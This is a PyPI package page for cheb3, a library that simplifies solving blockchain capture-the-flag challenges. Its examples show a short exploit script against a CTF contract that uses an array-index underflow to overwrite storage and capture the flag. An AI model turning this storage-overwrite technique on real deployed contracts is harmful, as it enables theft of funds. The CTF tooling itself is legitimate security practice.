Skip to main content
https://raw.githubusercontent.com/YanhuiJessica/cheb3/main/docs/_static/img/cheb3.png

Installation

cheb3 can be installed using pip as follows:

$ python3 -m pip install cheb3

Examples

Without cheb3, you might write code like this:

# https://yanhuijessica.github.io/Chictf-Writeups/blockchain/static/totally-secure-dapp.zip

from web3 import Web3
import json

def transact(func, gas=1000000, gas_price=None):
    tx = account.sign_transaction(eval(func).build_transaction({
        'chainId': w3.eth.chain_id,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gas': gas,
        'gasPrice': gas_price if gas_price else w3.eth.gas_price,
    })).raw_transaction
    tx_hash = w3.eth.send_raw_transaction(tx).hex()
    return w3.eth.wait_for_transaction_receipt(tx_hash)

w3 = Web3(Web3.HTTPProvider("<rpc-url>"))
account = w3.eth.account.from_key("<private-key>")

challenge_addr = "<contract-address>"

abi = json.loads(open("abi.json").read())
challenge = w3.eth.contract(address=challenge_addr, abi=abi)

transact("challenge.functions.removePost(1)")

index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2
transact(f"challenge.functions.editPost({index}, 'unimportant', 'unimportant')")

transact("challenge.functions.captureFlag()")

With cheb3, you can write code like this:

from web3 import Web3
from cheb3 import Connection
from cheb3.utils import load_compiled

conn = Connection("<rpc-url>")
account = conn.account("<private-key>")

challenge_addr = "<contract-address>"

abi, _ = load_compiled("TotallySecureDapp.sol")
challenge = conn.contract(account, challenge_addr, abi=abi)

challenge.functions.removePost(1).send_transaction()

index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2
challenge.functions.editPost(index, "unimportant", "unimportant").send_transaction()

challenge.functions.captureFlag().send_transaction()

Other examples of using cheb3 in CTF challenges can be found in /examples.

Documentation

Metadata

Release files for cheb3 1.0.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for cheb3 1.0.1
File Size Uploaded
cheb3-1.0.1.tar.gz 14.4 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for cheb3 1.0.1
File Interpreter ABI Platform
cheb3-1.0.1-py3-none-any.whl Python 3 none any Details

Total release size: 30.6 kB

Release files / cheb3-1.0.1.tar.gz

Download URL cheb3-1.0.1.tar.gz
Size 14.4 kB
Tags Source
SHA-256 checksum
How to use checksums
63c3d4e4db0b486ac1ebd52decb793b0ccd9d2ee97e82db80a2776ca40ccc520
BLAKE2b-256 checksum
How to use checksums
7eecdc4d3588e4d75b80bc93c327a78362c956d3cc009c444b37d2df5bd57f15
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Sep 28, 2025.

Transparency log

Release files / cheb3-1.0.1-py3-none-any.whl

Download URL cheb3-1.0.1-py3-none-any.whl
Size 16.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
b2a104ce3d63e63755e589656b5b7fdc6cde0f13a5865936b58a60c8092be63b
BLAKE2b-256 checksum
How to use checksums
1a8a0baa79c01805712e00ae0966b17eb9b0312417e91823be4be119f9bc3d4d
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Sep 28, 2025.

Transparency log

Release history Release notifications | RSS feed

This release

1.0.1 This release

2 release files

1.0.0

2 release files

0.12.2

2 release files

0.12.0

2 release files

0.11.0

2 release files

0.10.0

2 release files

0.9.0

2 release files

0.8.0

2 release files

0.7.8

2 release files

0.7.7

2 release files

0.7.6

2 release files

0.7.5

2 release files

0.7.4

2 release files

0.7.3

2 release files

0.7.2

2 release files

0.7.1

2 release files

0.7.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page